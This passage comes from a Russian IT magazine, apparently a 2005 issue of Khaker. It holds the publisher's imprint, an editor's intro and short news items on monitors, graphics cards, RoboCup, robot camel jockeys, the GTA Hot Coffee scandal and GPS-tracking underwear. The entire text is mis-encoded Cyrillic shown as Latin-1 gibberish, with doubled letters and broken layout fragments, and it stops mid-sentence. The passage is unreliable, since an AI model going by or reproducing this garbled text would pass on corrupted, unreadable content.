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Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå
Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì
ïå÷àòè, òåëåðàäèîâåùàíèþ è

ñðåäñòâàì ìàññîâûõ 
êîììóíèêàöèé ÏÏÈÈ ßß  7777-1111880022 
îò 14 ôåâðàëÿ 2002 ã.
Îòïå÷àòàíî â òèïîãðàôèè 
«SSccaannWWeebb», Ôèíëÿíäèÿ
Òèðàæ 8899 000000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.
Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî
ñîâïàäàåò ñ ìíåíèåì àâòîðîâ.

Ðåäàêöèÿ óóâåäîìëÿåò: ââñå ììà-
òåðèàëû ââ ííîìåðå ïïðåäîñòàâ-
ëÿþòñÿ êêàê èèíôîðìàöèÿ 
ê ððàçìûøëåíèþ. 
Ëèöà, èèñïîëüçóþùèå ääàííóþ
èíôîðìàöèþ ââ ïïðîòèâîçàêîí-
íûõ ööåëÿõ, ììîãóò ááûòü ïïðèâ-
ëå÷åíû êê îîòâåòñòâåííîñòè.
Ðåäàêöèÿ ââ ýýòèõ ññëó÷àÿõ îîòâå-
òñòâåííîñòè ííå ííåñåò.

Ðåäàêöèÿ íå íåñåò îòâåòñòâåí-
íîñòè çà ñîäåðæàíèå ðåêëàìíûõ
îáúÿâëåíèé â íîìåðå. Çà ïåðåïå-
÷àòêó íàøèõ ìàòåðèàëîâ áåç
ñïðîñà � ïðåñëåäóåì.
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IINNTTRROO::
Ëåòî. Ïîêà åùå ëåòî... Òû äåðæèøü â ðóêàõ 80-é
íîìåð æóðíàëà Õàêåð. Þáèëåéíûé íîìåð. Îí
îñîáåííûé äëÿ íàñ. Òàê êàê  æóðíàë åæåìåñÿ÷-
íûé, òî ïîëó÷àåòñÿ, ÷òî îí èçäàåòñÿ óæå
80/12=6.666 ëåò. Ïðèÿòíîå òàêîå ÷èñëî.
Áîëüøîé ðåñïåêò òåáå, äîðîãîé ÷èòàòåëü, ÷òî òû
ñ íàìè. Èìåííî áëàãîäàðÿ òåáå ìû èçäàåìñÿ
óæå ñòîëüêî ëåò.

Êàê âèäèøü, ìû ïîñòîÿííî ÷òî-òî êîððåêòèðóåì
â æóðíàëå, ìåíÿåì âíåøíèé îáëèê, ïîñòîÿííî
äîðàáàòûâàåì êîíòåíò, ñòàðàÿñü äåëàòü êà÷åñò-
âåííûé ïðîäóêò.
È ìû áóäåì âñåãäà ñòðåìèòüñÿ äàâàòü òîëüêî ñà-
ìûå âêóñíûå è ñâåæèå ìàòåðèàëû, ÷òîáû òû áûë
â êóðñå âñåãî ñàìîãî íîâîãî èç ìèðà IT. Íå ãðó-
çèòü, íå ó÷èòü æèçíè, à ïðîñòî äåëèòüñÿ ñ òîáîé 

èíôîðìàöèåé. Èíôîðìàöèÿ, êîòîðàÿ, âîçìîæíî,
òåáå ïîíàäîáèòñÿ â ñàìûå ðàçíûå ìîìåíòû æèç-
íè. Íà÷èíàÿ îò ïðèìèòèâíûõ ñïîñîáîâ çàùèòû
ñâîåãî êîìïüþòåðà, çàêàí÷èâàÿ íàïèñàíèåì
ñëîæíûõ ïðîãðàììíûõ ïðîäóêòîâ.
Íàäåþñü, ÷òî è ýòîò ëåòíèé íîìåð ïðèäåòñÿ
òåáå ïî äóøå.

Èâàí ÏÏåòðîâ, ããëàâíûé ððåäàêòîð
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ÁÎËÜØÅ ÈÎÍÎÂ 
ÎÒ ÌÎÍÈÒÎÐÎÂ!

Äâà íîâûõ ìîíèòîðà îò êîìïàíèè Samsung ìîãóò íå òîëüêî êà÷åñòâåííî
ïîêàçûâàòü èçîáðàæåíèå, íî îíè åùå è çàáîòÿòñÿ î òâîåì çäîðîâüå. Â
íèõ âñòðîåíû èîíèçàòîðû âîçäóõà. Åñëè òû íå çíàåøü, ÷òî ýòî òåáå äàñò,
òî âîò ñïðàâî÷êà: îíè ïîâûøàþò óðîâåíü ãàììà-ãëîáóëèíà â êðîâè, ÷òî
óâåëè÷èâàåò ñîïðîòèâëÿåìîñòü îðãàíèçìà áîëåçíåòâîðíûì áàêòåðèÿì, à
òàêæå ñòèìóëèðóþò âûðàáîòêó áåòà-ýíäîðôèíà, ïîëîæèòåëüíî âëèÿþùå-
ãî íà íàñòðîåíèå, óñòðàíÿþùåãî äåïðåññèè è ñòðåññû è ïîâûøàþùåãî
ðàáîòîñïîñîáíîñòü. Íó êàê, âïå÷àòëÿåò? Êñòàòè, 720NA � ýòî ÆÊ-ïà-
íåëü, à 795ÌÂ+ � ïðåäñòàâèòåëü âûìèðàþùåãî ïëåìåíè ÝËÒ-äèñïëååâ.
Ïåðâûé èìååò òàêèå ïàðàìåòðû: ðàçðåøåíèå 1280x1024, âðåìÿ îòêëèêà
8 ìñ, ÿðêîñòü 300 êä/ì2, êîíòðàñòíîñòü 600:1 è óãëû îáçîðà 160°/160°. Â
ìîäåëè 720NA îòâåðñòèÿ èîíèçàòîðà ðàñïîëîæåíû â íèæíåé ÷àñòè ýêðà-
íà. Òû ñìîæåøü ïî ñâîåìó æåëàíèþ âêëþ÷èòü èëè âûêëþ÷èòü èîíèçàòîð
ïðîñòûì íàæàòèåì êíîïêè.

GIGABYTE � ÒÅÏÅÐÜ
È ÊÎÐÏÓÑ!
Gigabyte âûïóñêàåò ñâîé ïåðâûé êîðïóñ, êîòîðûé íàçûâàåòñÿ î÷åíü ðîìàí-
òè÷íî � 3D Aurora. Îí ñäåëàí èç àëþìèíèÿ, íå òðåáóåò èíñòðóìåíòîâ äëÿ
ñáîðêè-ðàçáîðêè, âìåùàåò ìàññó íàêîïèòåëåé, à ñáîêó ïåðåäíåé ïàíåëè
ðàñïîëîæåíû ðàçëè÷íûå ïîðòû è àóäèîðàçúåìû. Ëþáèòåëè îâåðêëîêèíãà
îöåíÿò áîëüøîé ïîòåíöèàë ïî âåíòèëÿöèè � ïîìèìî òîãî, ÷òî áîëüøèå
ðàçìåðû êîðïóñà ïîçâîëÿþò óñòàíàâëèâàòü â íåì ëþáóþ ñèñòåìó îõëàæäå-
íèÿ (îò ñòàíäàðòíûõ ðàäèàòîðîâ è âåíòèëÿòîðîâ äî ñèñòåì æèäêîñòíîãî îõ-
ëàæäåíèÿ), íà Auror�å åñòü ìåñòî äëÿ ìîíòàæà òðåõ 120 ìì âåíòèëÿòîðîâ
(îäèí óñòàíàâëèâàåòñÿ íà ïåðåäíþþ
ïàíåëü, à äâà íà çàäíþþ). À ÷òîáû
ïîëüçîâàòåëü ÷óâñòâîâàë, ÷òî åãî
êîìïëåêòóþùèå çàùèùåíû îò ÷ó-
æèõ ïîñÿãàòåëüñòâ, áîêîâàÿ è ïå-
ðåäíÿÿ ñòåíêà êîðïóñà îñíàùåíû
çàìêàìè. Êñòàòè, ñàìà êîìïàíèÿ
Gigabyte â êà÷åñòâå ñèñòåìû îõëàæ-
äåíèÿ àâðîðû ðåêîìåíäóåò ñâîé
ïðîäóêò 3D Galaxy, êîòîðûé ïîäõî-
äèò ñþäà êàê ïî ðàçìåðó, òàê è ïî
äèçàéíó.

GT ÎÒ ATI
Êîìïàíèÿ nVidia ëèøè-
ëàñü ñâîåé ìîíîïîëèè
íà ïëàòû ñ ïðåôèêñîì
GT. Âå÷íûå êîíêóðåí-
òû èç Êàíàäû àíîíñè-
ðîâàëè ATI Radeon
X800GT, ñâîþ íîâóþ
ïëàòó ñðåäíåãî óðîâíÿ.
Ïðåôèêñ â íàçâàíèè
ìîæåò ñòàòü ïðè÷èíîé
íåñëàáîé ïóòàíèöû �

âåäü ýòîò ãðàôè÷åñêèé àäàïòåð ïðÿìîé ïðîòèâíèê 6600GT. Â åãî îñíîâå ëå-
æèò ÷èï R430Pro, âûïîëíåííûé ïî 0,11 ìêì òåõíîëîãèè, è èìåþùèé 160
ìëí. òðàíçèñòîðîâ. Íî GT � ýòî GT, ñðåäíèé óðîâåíü, ïîýòîìó â íåì 8 ïèê-
ñåëüíûõ êîíâåéåðîâ, õîòÿ øèíà ïàìÿòè òàêàÿ æå, êàê è â áàçîâîì ÷èïå �
256 áèò. ×àñòîòû ÿäðà/ïàìÿòè ðàâíû 395ÌÃö/700 ÌÃö, ñîîòâåòñòâåííî, íà
ïëàòå áóäåò 128 èëè 256 Ìá GDDR3 ïàìÿòè. Èëè îáû÷íîé DDR, êàê óæ çà-
õî÷åò ïðîèçâîäèòåëü. Èíòåðôåéñ, åñòåñòâåííî, PCI-Express x16, î÷åíü âå-
ðîÿòíà ïîääåðæêà ðåæèìà ATI Crossfire. Öåíû íà ïëàòó ïîêà íå íàçâàíû, íî,
ðàç óæ îíà íàïðàâëåíà íà ïðîòèâîñòîÿíèå ñ GeForce 6600GT, òî åå ñòîè-
ìîñòü äîëæíà áûòü îêîëî ïîëóòîðà ñîòåí çåëåíûõ, èíà÷å íèêàêîé êîíêó-
ðåíöèè íå áóäåò è â ïîìèíå. Âûõîä íà ðûíîê íàìå÷åí â íà÷àëå àâãóñòà.

ÄÂÀ Â ÎÄÍÎÌ
×òîáû âîñïîëüçîâàòüñÿ âñåìè ïðåèìóùåñòâàìè òåõíîëîãèè nVidia SLI (îãðîì-
íûå ñêîðîñòíûå ïîêàçàòåëè) è íå ïîïàñòü ñ åå íåäîñòàòêàìè, ïî êðàéíåé ìå-
ðå, íå ñî âñåìè (áîëüøàÿ öåíà, çàíèìàåò ìíîãî ìåñòà â êîðïóñå, âûñîêèé íàã-
ðåâ, íå ñî âñåìè èãðàìè ðàáîòàåò), ìîæíî ïðèîáðåñòè ïëàòó GV-3D1-68GT îò
êîìïàíèè Gigabyte. Îíà ðàñïîëàãàåò äâóìÿ ãðàôè÷åñêèìè ÿäðàìè GeForce
6800 GT, ðàáîòàþùèìè â ñâÿçêå ïî ïðèíöèïó SLI, èìååò 2x16 ïèêñåëüíûõ êîí-
âåéåðîâ è 512 Ìá áûñòðîé ïàìÿòè GDDR3. Ïîääåðæêà òåõíîëîãèè Quad View
îáåñïå÷èâàåò ðàáîòó ñ ÷åòûðüìÿ ìîíèòîðàìè. Ïðîñòî ïàíîðàìà! Ïî çàÿâëå-
íèþ Gigabyte, ðåçóëüòàòîì âñåãî ýòîãî ÿâëÿþòñÿ 20000 áàëëîâ â 3DMark 2003
è 10000 áàëëîâ â 3DMark 2005. Â êîìïëåêò ïîñòàâêè âõîäèò áîëüøîé íàáîð
ïðîãðàìì è èãð, â òîì ÷èñëå Cyberlink PowerDVD 6.0, Joint Operations è Xpand
Rally. Ìîùíàÿ, íî ìàññèâíàÿ ñèñòåìà îõëàæäåíèÿ ïîëíîñòüþ çàêðûâàåò îáà
ÃÏ è ìèêðîñõåìû ïàìÿòè, ñîñòîèò èç âåíòèëÿòîðà è ðàäèàòîðîâ.
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ROBOCUP 2005

Ñ 13 ïî 17 èþëÿ â ÿïîíñêîì ãîðîäå Îñàêà ïðîõîäèë RoboCup 2005
(www.robocup2005.org). Åæåãîäíûé ÷åìïèîíàò ìèðà ïî ôóòáîëó ñðåäè ðî-
áîòîâ ïðèíÿëè íà ýòîò ðàç 333 êîìàíäû èç 31 ñòðàíû ìèðà. Ñàìûì ÿðêèì
çðåëèùåì áûëî ïðèçíàíî ñïîðòèâíîå ñðàæåíèå ðîáîñîáàê Aibo. Â ïðåìü-
åð-ëèãå äâóíîãèõ ðîáîòîâ-ãóìàíîèäîâ ïîáåäó îäåðæàëà êîìàíäà VisiON
èç ßïîíèè, îáûãðàâøàÿ ñî ñ÷åòîì 2:1 íåìåöêóþ êîìàíäó NimbRo
(www.nimbro.net). Ïîáåäèòåëÿì äîñòàëñÿ õðóñòàëüíûé õàé-òåê êóáîê. Ðîñ-
ñèéñêàÿ êîìàíäà STEP èç Ñàíêò-Ïåòåðáóðãñêîãî èíñòèòóòà èíôîðìàòèêè
è àâòîìàòèçàöèè ÐÀÍ â î÷åðåäíîé ðàç áûëà çàÿâëåíà â ñèìóëÿöèîííîé
ëèãå. Ïåðåõîä ê òðåõìåðíîé ìîäåëè ñîðåâíîâàíèé äàëñÿ íàøèì ñ òðóäîì.
Êîìàíäà íå âûøëà èç ãðóïïû D è çàêîí÷èëà ó÷àñòèå â òóðíèðå. Â 2D-ëè-
ãå êîìàíäà âûñòóïèëà ëó÷øå, îäíàêî íå âîøëà â ÷èñëî ïðèçåðîâ. Â ñëå-
äóþùåì ãîäó RoboCup ñîñòîèòñÿ â íåìåöêîì ãîðîäå Áðåìåíå. Ïî çàìûñ-
ëó ñîçäàòåëåé RoboCup, â 2050 ãîäó äîëæåí ïðîéòè ïåðâûé ÷åìïèîíàò
ìèðà ìåæäó ëþäüìè è ðîáîòàìè-àíäðîèäàìè.

ÃÎÍÊÈ 
ÍÀ ÂÅÐÁËÞÄÀÕ
Â Áîëüøîé ãîíêå íà âåðáëþäàõ â Îáúåäèíåííûõ Àðàáñêèõ Ýìèðàòàõ âïåðâûå ïðè-
íÿëè ó÷àñòèå ðîáîòû-æîêåè. Ðàíüøå â êà÷åñòâå ïîãîíùèêîâ èñïîëüçîâàëè äåòåé â

âîçðàñòå îò 4 ëåò. Íî ñ èþëÿ â ýòîì òðà-
äèöèîííîì ñîðåâíîâàíèè áåäóèíîâ ââå-
ëè îãðàíè÷åíèÿ. Â äåíü ñêà÷åê 7 ðîáî-
òîâ âåñîì îò 15 äî 26 êèëîãðàììîâ ïå-
ðåîäåëè â ÷åëîâå÷åñêóþ îäåæäó è øëå-
ìû. Ñ ïîìîùüþ ðåìíåé èõ ïðèñòåãíóëè
ê âåðáëþæüèì ãîðáàì. Äåéñòâèÿ ðîáî-
òîâ-æîêååâ ñ ïóëüòà äèñòàíöèîííîãî óï-
ðàâëåíèÿ êîíòðîëèðîâàëè îïåðàòîðû-
àðàáû. Ïî ñèãíàëó õîçÿåâ ðîáîòû íàòÿ-
ãèâàëè ïîâîäüÿ. À çðèòåëè ïîäãîíÿëè
âåðáëþäîâ ñâèñòîì. Â áëèæàéøåå âðå-
ìÿ ÎÀÝ è ñîñåäíèé Êàòàð çàêóïÿò â
ßïîíèè áîëåå 10 000 ðîáîòîâ-æîêååâ
ñòîèìîñòüþ îò $2000 äî $5500 êàæäûé. 
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Åñëè òû äóìåð, êâàêåð è âîîáùå ïîòîìñòâåííûé ãåéìåð, äóìàþ, òåáå çíàêîìà
èãðà Grand Theft Auto. Â íåé ìîæíî ñêîìóíèçäèòü ëþáîé çàïîðîæåö â áîëüøîì
êóðîðòíîì ãîðîäå, è ïîêàòàòüñÿ íà íåì, âûïîëíÿÿ ðàçíûå ìèññèè. Íó, òû â êóð-
ñå: óáèòü òîãî, çàðåçàòü äðóãîãî, ñæå÷ü òðåòüåãî. Òàê âîò, àãåíòñòâî ESRB, ñîð-
òèðóþùåå âûõîäÿùèå èãðû ïî êàòåãîðèÿì, ïðèñâîèëî íîâîé ÷àñòè GTA � San
Andreas � ðåéòèíã M (ðàçðåøàåòñÿ èãðàòü äåòÿì îò 17 ëåò). Ïóñòü, ìîë, äåòèøêè
ïîñòðåëÿþò. Íî íåäàâíî ñòàëî èçâåñòíî òàêîå, ÷òî ESRB ïîæàëåëî î ñâîåé ùåä-
ðîñòè íå ðàç. Â èíòåðíåòå êàêàÿ-òî äîáðàÿ äóøà âûëîæèëà ïðîãðàììó Hot Coffee,
êîòîðàÿ ïîçâîëÿåò ïîëó÷èòü äîñòóï ê ñêðûòîìó êîíòåíòó èãðû. Íàïðèìåð, â èãðå
åñòü âîçìîæíîñòü îòóæèíàòü ó íîâîé ïîäðóæêè â íóìåðàõ. Êîíå÷íî, ïîñëå êà÷å-
ñòâåííûõ ñâèäàíèé, öâåòîâ è øåïîòîâ ïðè ëóíå. ×òî ïðîèñõîäèò â íóìåðàõ â îðè-
ãèíàëå íå ïîêàçûâàåòñÿ � ñëûøíû òîëüêî ñòðàííûå ÷ïîêàþùèå çâóêè, êðîâàò-
íûå ñêðèïû è ãîðòàííûå îõè. Íî ïðîãðàììà ïðîëèâàåò íà ñòðàííûå ÿâëåíèÿ ñâåò.
Ìû ïîïàäàåì âíóòðü ïîäðóæêèíîãî äîìà... è ÷òî æå ìû âèäèì? Óóó, ìû íå òîëü-
êî âèäèì, ìû äàæå ìîæåì óïðàâëÿòü, ïîìîãàÿ ãåðîþ äâèãàòüñÿ â òàêò. Â îáùåì,
äåòè â âîñòîðãå, çàòî èõ ðîäèòåëè íå î÷åíü. Âîêðóã Rockstar Entertainment � êîì-
ïàíèè ðàçðàáîò÷èêà èãðû, ðàçãîðåëñÿ áîëüøîé ñêàíäàë. È íà âîïðîñ: «Ýòî ÷òî çà
ïîðíóõà, ïîçâîëüòå?», ãåéìäåâåëîïåðû ìóæåñòâåííî ïðîèçíåñëè: «Ýòî íå ìû!».
Íàì ïîäðîáíî ðàçúÿñíèëè, ÷òî ïðîãðàììêà òà íå ðàñêðûâàåò ÿêîáû ñêðûòûé êîí-
òåíò, à äîáàâëÿåò åãî. È âñå ýòî êîçíè õàêåðîâ â ñòîðîíó ïðèìåðíûõ ðàçðàáîò÷è-
êîâ èãð. Íî êîãäà ñîòðóäíèêè èãðîâîãî æóðíàëà Gamespot îòðåâåðñèëè âåðñèþ
èãðû äëÿ êîíñîëè ïëåéñòåéøí, îíè íàøëè â íåé òîò ñàìûé çàïðåòíûé êîíòåíò, îò
êîòîðîãî òàê îòíåêèâàëàñü Rockstar. Ñåé÷àñ òðóäíî ñêàçàòü, âûèãðàëà ëè êîìïà-
íèÿ îò ýòîãî ñêàíäàëà èëè íåò. Ñ îäíîé ñòîðîíû, øóì äîáàâèë èãðå èçâåñòíîñ-
òè, ñ äðóãîé � íå âñÿêèé ðîäèòåëü òåïåðü êóïèò ýòó èãðó ìàëåíüêîìó ñûíó.

10-ËÅÒÍßß 
ÂÈÍÄÎÓÇ ÃÓÐÓ

×åì òû çàíèìàëñÿ â 10 ëåò, ìîé
þíûé äðóã? Ëàäíî, íå áóäó ñìó-
ùàòü, ìû âñå ýòèì çàíèìàëèñü, à â
ïåðâûé ðàç ÿ ïîïðîáîâàë â 8. À âîò
10-ëåòíÿÿ äåâî÷êà èç Ïàêèñòàíà ñ
ðóññêèì èìåíåì Àðôà Êàðèì Ðàíä-
õàâà, â îòëè÷èå îò íàñ, â âàííîé íå
çàñèæèâàëàñü. È â ñâîè þíûå ãîäû
óæå óñïåëà ïîëó÷èòü ñòàòóñ MCP

(Ñåðòèôèöèðîâàííûé Windows ïðîôåññèîíàë). Ýòî âàì íå ìûøêîé ïî ÿð-
ëûêàì òûêàòü è ïîðíóøíûõ òåòîê íà ðàáî÷èé ñòîë âåøàòü. Äåâî÷êå äàæå
îðãàíèçîâàëè àóäèåíöèþ ñ ÑÀÌÈÌ Áèëëîì Ãåéòñîì. «Íó òû äåâî÷êà âà-
ùå!» � âîñõèòèëñÿ Áèëë. «Äûê ÿ òàâîé, ñ 5 ëåò õàêåðþ. È, êñòàòè, Ëèíóêñ
ìàçäàÿ êðó÷å». «Íî-íî, äåâî÷êà!» � îáèäåëñÿ Ãåéòñ, íî íà ðàáîòó âçÿòü ïî-
îáåùàë. «Òû òîëüêî øêîëó-òî îêîí÷è». Ñåé÷àñ ìàëåíüêàÿ ãóðó óæå ãðûçåò
òîííåëü â ãðàíèòå íàóêè, îñâàèâàÿ ñåêóðèòè â ãîñóäàðñòâåííîì èíñòèòóòå
ïðèêëàäíûõ òåõíîëîãèé. Çíàêîìûå ïðîðî÷àò åé áîëüøîå áóäóùåå, à íàðîä
íà ôîðóìå Securitylab.ru âûðàæàåò ãëóáîêîå ñî÷óâñòâèå.

ÀÂÒÎÄÐÎÌ 
ÍÀ ÁÓÌÀÃÅ

Âûïóñêíèêè Êîðîëåâñêîãî êîëëåäæà  èñêóññòâ � Ôèëèïï Óîðòèíãòîí è Óèëü-
ÿì Äåííèñ ðàçðàáîòàëè ïðîòîòèï èãðóøå÷íûõ ãîíî÷íûõ àâòîìîáèëåé
Lineriders (www.lineriders.net), êîòîðûå äâèãàþòñÿ ïî íàðèñîâàííîé òðàññå. Ìà-
øèíû âûïîëíåíû â ìàñøòàáå 1:43. Äëÿ íàíåñåíèÿ äîðîæíîé ðàçìåòêè ïîäõî-
äèò ïðàêòè÷åñêè ëþáàÿ ïîâåðõíîñòü � îò êóõîííîãî ñòîëà äî ïîëà â ãîñòèíîé.
Äàæå îáû÷íûé ëèñò áóìàãè ìîæåò ñëóæèòü ìèíèàâòîäðîìîì. Áëàãîäàðÿ ìíî-
æåñòâó ñåíñîðîâ, èãðóøå÷íûé àâòîìîáèëü âñåãäà ïðèäåðæèâàåòñÿ íàðèñî-
âàííîé ëèíèè. Èñïîëüçóÿ ìàðêåðû ðàçíûõ öâåòîâ è ñïåöèàëüíûå çíà÷êè,
ìîæíî çàïðîãðàììèðîâàòü ýêñòðåííîå òîðìîæåíèå, íàáîð ñêîðîñòè ïåðåä
ïðûæêîì èëè ìàíåâðû ïî îãèáàíèþ ïðåïÿòñòâèé. Èçîáðàçèòü èäåàëüíóþ
òðàññó íå ïðîñòî, íî òåì èíòåðåñíåå ïðåäñòàâëÿåòñÿ çàäóìêà äèçàéíåðîâ.
Ìàññîâûé âûïóñê àâòîìîáèëåé Lineriders ïëàíèðóeò îñâîèòü êîìïàíèÿ Mattel.

ØÏÈÎÍÑÊÈÅ ÒÐÓÑÈÊÈ
Áåçîáèäíàÿ ðîìàøêà íà òðóñèêàõ Forget-Me-Not òàèò ïîä ñîáîé ñòðàøíóþ ìîùü
âîåííûõ òåõíîëîãèé. ×èï ñèñòåìû ãëîáàëüíîãî ïîçèöèîíèðîâàíèÿ GPS ñ ìèíè-
àòþðíûì ýëåìåíòîì ïèòàíèÿ îò ÷àñîâ âøèâàåòñÿ â òêàíü òàêèì îáðàçîì, ÷òî íà
îùóïü îáíàðóæèòü åãî íåâîçìîæíî. Îí ïîçâîëÿåò íåçàìåòíî â ëþáîé ìîìåíò
âðåìåíè óçíàòü ìåñòîïîëîæåíèå õîçÿéêè òðóñèêîâ. À çàïàòåíòîâàííàÿ ñèñòåìà
pantyMap âûäàåò áëèæàéøèå îðèåíòèðû. Ýòè äàííûå â ðåàëüíîì âðåìåíè ïîñ-
òóïàþò íà ñîòîâûé òåëåôîí, ÊÏÊ èëè ïåðñîíàëüíûé êîìïüþòåð � äî 4 óñò-
ðîéñòâ îäíîâðåìåííî. Äîïîëíèòåëüíûé áèîìåòðè÷åñêèé ñåíñîð äîêëàäûâàåò î
ñåðäöåáèåíèè è òåìïåðàòóðå òåëà ïîäîïå÷íîé. Ïðîèçâîäñòâîì íîâèíêè çàíè-
ìàåòñÿ ÿïîíñêàÿ êîìïàíèÿ Panchira. Ñòîèìîñòü ãýäæåòà ñîñòàâëÿåò îò $100 çà
ñàìóþ áàçîâóþ ìîäåëü äî $1190 çà íåäåëüíûé êîìïëåêò ïðîäâèíóòîé ìîäåëè
ñ ñåíñîðàìè. Øïèîíñêèå òðóñû äëÿ ìóæ÷èí ïîêà íå çàÿâëåíû.

HITECHNEWS][NEWS



ÏßÒÛÉ ÔÅÑÒÈÂÀËÜ
ÊÎÌÏÜÞÒÅÐÍÎÃÎ
ÈÑÊÓÑÑÒÂÀ CHAOS
CONSTRUCTIONS
DEMO PARTY 2005
20�21 àâãóñòà 2005 ãîäà â Ñàíêò-Ïåòåðáóðãå ïðîéäåò ïÿòûé ôåñòè-
âàëü êîìïüþòåðíîãî èñêóññòâà CHAOS CONSTRUCTIONS demo party
2005. CHAOS CONSTRUCTIONS demo party � åäèíñòâåííûé â Ðîññèè
êîíêóðñ, ãäå çà ïðàâî áûòü ëó÷øèì ñïîðÿò êàê îòå÷åñòâåííûå, òàê è çà-
ðóáåæíûå ïðîãðàììèñòû, õóäîæíèêè, äèçàéíåðû è ìóçûêàíòû. Â ýòîì
ãîäó êîíêóðñû ïðîéäóò ïî 24 íîìèíàöèÿì, ñðåäè êîòîðûõ ìóçûêà, ãðà-
ôèêà, demo è èãðû íà PC, ZX Spectrum, Mobile/Handheld, Flash. «Íà ñå-
ãîäíÿ îêîëî 40 ÷åëîâåê çàÿâèëè ïîðÿäêà 60 ðàáîò», � ãîâîðèò îäèí èç
îðãàíèçàòîðîâ ôåñòèâàëÿ Ïåòð Ñîáîëåâ, � «îäíàêî íàäî ïîíèìàòü,
÷òî, íàïðèìåð, ó÷àñòíèêè êîíêóðñà â êàòåãîðèè Spectrum íå îòÿãîùàþò
ñåáÿ ïðåäâàðèòåëüíûìè çàÿâêàìè. Âîîáùå, ïðàêòèêà ïîêàçûâàåò, ÷òî
÷èñëî ó÷àñòíèêîâ ðåçêî âîçðàñòàåò. Óæå ñåé÷àñ ãåîãðàôèÿ ôåñòèâàëÿ
âïå÷àòëÿåò: æåëàíèå ó÷àñòâîâàòü â êîíêóðñíîé ïðîãðàììå âûðàçèëè
íå òîëüêî æèòåëè Ìîñêâû è Ñàíêò-Ïåòåðáóðãà, íî è Êàëèíèíãðàäà,
Âëàäèâîñòîêà, Âîðêóòû, Èæåâñêà, Êàçàíè, Îìñêà è ìíîãèõ äðóãèõ ãî-
ðîäîâ Ðîññèè. Íà CHAOS CONSTRUCTIONS demo party 2005 ïëàíèðó-
åòñÿ ïîêàç ðîëèêîâ îáðàçîâàòåëüíîãî õàðàêòåðà, êðàòêî ðàññêàçûâàþ-
ùèõ î êàæäîì êîíêóðñå. Â ïåðåðûâàõ ìåæäó êîíêóðñàìè íà ñöåíå áó-
äóò âûñòóïàòü ìóçûêàëüíûå ãðóïïû Reef Project, ChipCult, McLighters. Â
ðàìêàõ ôåñòèâàëÿ ïðîéäåò óæå ñòàâøàÿ òðàäèöèîííîé óíèêàëüíàÿ
âûñòàâêà ðàðèòåòíûõ êîìïüþòåðîâ ñ äåìîíñòðàöèåé èõ â ðàáîòå. Îíà,
íàâåðíÿêà, çàèíòåðåñóåò íå òîëüêî ëþáèòåëåé ñòàðèíû, íî è ìîëîäîå
ïîêîëåíèå, ïîæàëóé, òîëüêî ïî êíèãàì çíàêîìû ñ òàêèìè «äèíîçàâðà-
ìè», êàê Yamaha MSX-2, Sinclair ZX Spectrum, ÈÑÊÐÀ-1030. Ãåíåðàëü-
íûì èíôîðìàöèîííûì ñïîíñîðîì ôåñòèâàëÿ ñòàëè æóðíàëû Õàêåð è
Digital Creative Arts.

][NEWS



[X
À

Ê
Å

Ð
0

8
 [

8
0

] 
0

5
 >

Í
Ü

Þ
Ñ

Û
0

0
8

] ÄÂÓËÈ×ÍÀß ÊËÀÂÀ

Ïîðàäîâàòü ãåéìåðîâ ðåøèëà êàíàäñêàÿ êîðïîðàöèÿ Ideazon. Äàâíåíüêî èì
íè÷åãî íå ïåðåïàäàëî, à òåïåðü âîò! Ideazon ïðåäëàãàåò óñòðîéñòâà Zboard �
êëàâèàòóðû, êîòîðûå ìîãóò ïîñëóæèòü è ãåéìåðàì, è îôèñíûì ðàáîòíèêàì.
Ñóòü â òîì, ÷òî ýòè èçäåëèÿ èìåþò îäíó îáùóþ áàçó, íà êîòîðóþ ìîæíî íàöå-
ïèòü ëèáî îáû÷íûé îôèñíûé, ëèáî ñïåöèàëüíûé èãðîâîé ìîäóëü. Ïåðâûé
ïðåäñòàâëÿåò èç ñåáÿ ïðîñòóþ êëàâèàòóðó, îñíàùåííóþ äîïîëíèòåëüíûìè
êëàâèøàìè. Èãðîâîé ìîäóëü èìååò îñíîâíûå (èñïîëüçóåìûå äëÿ ïåðåìåùå-
íèÿ) èãðîâûå êëàâèøè óâåëè÷åííîé ôîðìû, à îñòàëüíûå (âðîäå ïðûæêà, ïðè-
ñåäàíèÿ è òàê äàëåå) ðàñïîëîæåíû âîêðóã íèõ, â ïðåäåëàõ äîñÿãàåìîñòè ïàëü-
öåâ îäíîé ëàäîíè. Ïðîôåññèîíàëüíûå ãåéìåðû îöåíÿò âîçìîæíîñòü îäíîâðå-
ìåííîãî íàæàòèÿ âîñüìè êëàâèø, à òàêæå ñïåöèàëüíûå ìîäóëè ñ ðàñêëàäêà-
ìè äëÿ ñàìûõ èçâåñòíûõ èãð. Òàê ÷òî òåïåðü ó òåáÿ áóäåò íå ïðîñòî êëàâèàòó-
ðà äëÿ âñåõ èãð, à äëÿ êàæäîãî ãàìåñà � ñâîÿ!

NVIDIA ÏÐÅÄÑÒÀÂÈÒ
GEFORCE 7800 GT
ÓÆÅ ÑÊÎÐÎ!

Êîìïàíèÿ ATI âñå íèêàê íå ìîæåò íà÷àòü ïîñòàâêè ñâîåãî R520, à âîò
nVidia, íàîáîðîò, ïðîäîëæàåò íàáèðàòü îáîðîòû. Íå óäîâëåòâîðèâøèñü îä-
íèì ëèøü âûïóñêîì GeForce 7800 GTX, êîòîðóþ âñå òîëüêî-òîëüêî íà÷àëè
íþõàòü, òåñòèòü, ðàçãëÿäûâàòü è ñòàâèòü â SLI, êàê ïðîøåë ñëóõ, ÷òî âñåãî-
íàâñåãî ÷åðåç ìåñÿö âûéäåò GeForce 7800 GT. Ïðåäïîëàãàåòñÿ, ÷òî âèäå-
îïëàòû GeForce 7800 GT áóäóò ðàáîòàòü íà ÷àñòîòàõ 335 è 1100 ÌÃö (ÿäðî
è ïàìÿòü, ñîîòâåòñâåííî), êîìïëåêòîâàòüñÿ 256 Ìá ïàìÿòè òèïà GDDR-3 ñî
âðåìåíåì âûáîðêè 1,6 èëè 2,0 íñ. Ðåêîìåíäîâàííàÿ öåíà ñîñòàâèò ñóììó,
ðàâíóþ ÷åòûðåì èëè ïÿòè ñîòíÿì àìåðèêàíñêèõ äîëëàðîâ. Â îñíîâå ïëàòû
áóäåò ëåæàòü âñå òîò æå ÷èï G70, à âîò äèçàéí ïå÷àòíîé ïëàòû ñëåãêà èç-
